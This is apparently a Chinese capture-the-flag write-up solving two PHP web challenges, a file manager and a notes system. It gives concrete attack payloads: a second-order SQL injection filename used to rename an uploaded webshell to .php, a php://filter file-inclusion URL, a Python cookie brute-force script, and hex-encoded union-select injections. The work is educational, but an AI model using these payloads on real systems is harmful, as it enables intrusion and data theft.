工作室群里甩了个比赛,简单练习一下web
蓝鲸文件管理系统
工作室同学讲过的原题 upload.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 <?php require_once "common.inc.php" ;define ('ROOT' ,dirname (__FILE__ ).'/' ); if ($_FILES ){ $file = $_FILES ["upfile" ]; if ($file ["error" ] == UPLOAD_ERR_OK) { $name = basename ($file ["name" ]); $path_parts = pathinfo ($name ); if (!in_array ($path_parts ["extension" ], array ("gif" , "jpg" , "png" , "zip" , "txt" ))) { exit ("error extension" ); } $path_parts ["extension" ] = "." . $path_parts ["extension" ]; $name = $path_parts ["filename" ] . $path_parts ["extension" ]; $path_parts ['filename' ] = addslashes ($path_parts ['filename' ]); $sql = "select * from `file` where `filename`='{$path_parts['filename']} ' and `extension`='{$path_parts['extension']} '" ; $fetch = $db ->query ($sql ); if ($fetch ->num_rows>0 ) { exit ("file is exists" ); } if (move_uploaded_file ($file ["tmp_name" ], ROOT . UPLOAD_DIR . $name )) { $sql = "insert into `file` ( `filename`, `view`, `extension`) values( '{$path_parts['filename']} ', 0, '{$path_parts['extension']} ')" ; $re = $db ->query ($sql ); if (!$re ) { echo 'error' ; print_r ($db ->error); exit ; } $url = "/" . UPLOAD_DIR . $name ; echo "Your file is upload, url: <a href=\"{$url} \" target='_blank'>{$url} </a><br/> <a href=\"/\">go back</a>" ; } else { exit ("upload error" ); } } else { print_r (error_get_last ()); exit ; } }
上面一个phithon表明题目来源.. 然后rename.php的主要代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php require_once "common.inc.php" ;define ('ROOT' ,dirname (__FILE__ ).'/' ); if (isset ($req ['oldname' ]) && isset ($req ['newname' ])) { $result = $db ->query ("select * from `file` where `filename`='{$req['oldname']} '" ); if ($result ->num_rows>0 ) { $result = $result ->fetch_assoc (); }else { exit ("old file doesn't exists!" ); } if ($result ) { $req ['newname' ] = basename ($req ['newname' ]); $re = $db ->query ("update `file` set `filename`='{$req['newname']} ', `oldname`='{$result['filename']} ' where `fid`={$result['fid']} " ); if (!$re ) { print_r ($db ->errorInfo ()); exit ; } $oldname = ROOT.UPLOAD_DIR . $result ["filename" ].$result ["extension" ]; $newname = ROOT.UPLOAD_DIR . $req ["newname" ].$result ["extension" ]; if (file_exists ($oldname )) { rename ($oldname , $newname ); $url = "/" . $newname ; echo "Your file is rename, url: <a href=\"{$url} \" target='_blank'>{$url} </a><br/> <a href=\"/\">go back</a>" ; } else {echo $oldname ." not exists." ;} } } ?>
很明显的二次注入
有一个上传的点,思路就是上传jpg文件然后二次注入改后缀,rename成php文件
首先传一个注入的文件,比如
1 ',`extension`='',`filename`='blacsheep.jpg.jpg
里面写好shell
然后去rename一下',`extension`='',`filename`='blacsheep.jpg.jpg
rename成blacsheep.jpg
,然后rename的时候这里会自己加后缀,所以文件被rename成了blacsheep.jpg.jpg,而数据库中因为注入的原因所以是blacsheep.jpg
然后我们传一个blacsheep.jpg,再去rename.php里把blacsheep.jpg给rename成blacsheep.php
这里会先去查找blacsheep.jpg,然后发现了我们的注入的记录,加上ext之后文件名为blacsheep.jpg,刚刚好我们上传了这个文件,那么对文件的rename的时候也就没有问题了
查看下
蓝鲸笔记管理系统
这个题出的还蛮好的,记录一下
一出来是个注册登录,然后里面有个留言功能,测试一下sql注入,失败
虽然有思考到文件包含,但是发现web目录并没有login.php
后来看wp才知道前面的action是文件夹,后面的mode是文件名,也就等价于
1 include $action."/".$mode.".php";
那么构造一下拿到index的源码
1 http://106.39.10.134:10002/index.php?action=php://filter/read=convert.base64-encode/resource=.&mode=index
index.php的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php define ("DIR_PERMITION" ,time ());function d_addslashes ($array ) { foreach ($array as $key =>$value ){ if (!is_array ($value )){ !get_magic_quotes_gpc ()&&$value =addslashes ($value ); $array [$key ]=$value ; }else { $array [$key ] = d_addslashes ($array [$key ]); } } return $array ; } $_POST =d_addslashes ($_POST );$_GET =d_addslashes ($_GET );include_once ('common.php' );if (!isset ($_GET ['action' ])!isset ($_GET ['mode' ])){ header ("Location: ./index.php?action=front&mode=login" ); }elseif (!preg_match ('/\.{2}/is' ,$_GET ['action' ])&&preg_match ('/^[0-9A-Za-z]+$/is' ,$_GET ['mode' ])){ $action =$_GET ['action' ]; $mode =$_GET ['mode' ]; $file =$action .'/' .$mode .'.php' ; }else { die ("Invalid Request!" ); } include ($file );
然后读common.php,扫目录发现admin目录,然后读一下admin下面的login和index
发现admin的登录需要猜随机数,不过只有6位,而且还是仅有'wh'构成的,写个脚本爆破一下,简易脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import requestsimport hashlibdef md5 (str1 ): res_md5 = hashlib.md5() res_md5.update(str (str1).encode()) return res_md5.hexdigest() u = requests.session() charlist = "wh" length = 6 half_uid = "admin%7C" for one in charlist: for two in charlist: for thr in charlist: for fou in charlist: for fif in charlist: for six in charlist: uid = half_uid + md5(one+two+thr+fou+fif+six+'admin' ) cookies = {"uid" : uid} r = u.get('http://106.39.10.134:10002/index.php?action=admin&mode=index' , cookies = cookies) r.encoding = r.apparent_encoding if "not login" not in r.text: print (r.text) print (r.request.headers["Cookie" ]) else : print ("not login:" +one+two+thr+fou+fif+six)
然后登录到admin页面,发现一个页面修改的地方,读源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php defined ("DIR_PERMITION" ) or die ("Permision denied!" );$userid =check_login ();$level =get_level ();if ($userid !==false &&$level !==false ){ if (isset ($_POST ['page' ])&&isset ($_POST ['TOKEN' ])){ $page =$_POST ['page' ]; $TOKEN =$_POST ['TOKEN' ]; if ($TOKEN !=$_SESSION ['CSRF_TOKEN' ]){ die ("token error!" ); } if (!is_numeric ($page )){ die ("page must be a number!" ); } if ($page <1 ) $page =1 ; $sql ="update page set num=$page " ; $res =mysql_my_query ($sql ); if ($res ){ echo "<script>alert('update success!');</script>" ; echo ("<script>location.href='./index.php?action=admin&mode=index'</script>" ); }else { echo "<script>alert('update fail!');</script>" ; die (); } } }else { echo "<script>alert('not login!');</script>" ; echo ("<script>location.href='./index.php?action=admin&mode=login'</script>" ); die (); } ?>
发现isnumeric过滤了一下,hex绕过 然后在index.php发现
1 2 3 4 $page_size =get_page_size ();$sql ="select * from note limit 0," .$page_size ;$result =mysql_my_query ($sql );
去common.php中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 function get_page_size ( ) { $sql ="select num from page" ; $res =mysql_my_query ($sql ); $row =$res ->fetch_assoc (); return $row ['num' ]; } function set_page_size ( ) { $sql ="update page set num=20" ; $res =mysql_my_query ($sql ); }
这里就可以看到是个二次注入,但前提必须是数据库page表的num列必须是varchar,题目的hint里面给出了dbinit.sql文件,查看发现定义的page就是varchar,那么后面的就简单了,我们去构造sql的语句,hexencode一下,然后写到数据库,之后访问index的时候num被提取出来,并且被放到limit后面执行.
我们构造一个
所以提交一个 0x3120756e696f6e2073656c65637420312c322c332c34 得到结果
继续在2处注入
1 1 union select 1,flag,3,4 from flags
hex一下成了0x3120756e696f6e2073656c65637420312c666c61672c332c342066726f6d20666c616773
提交一下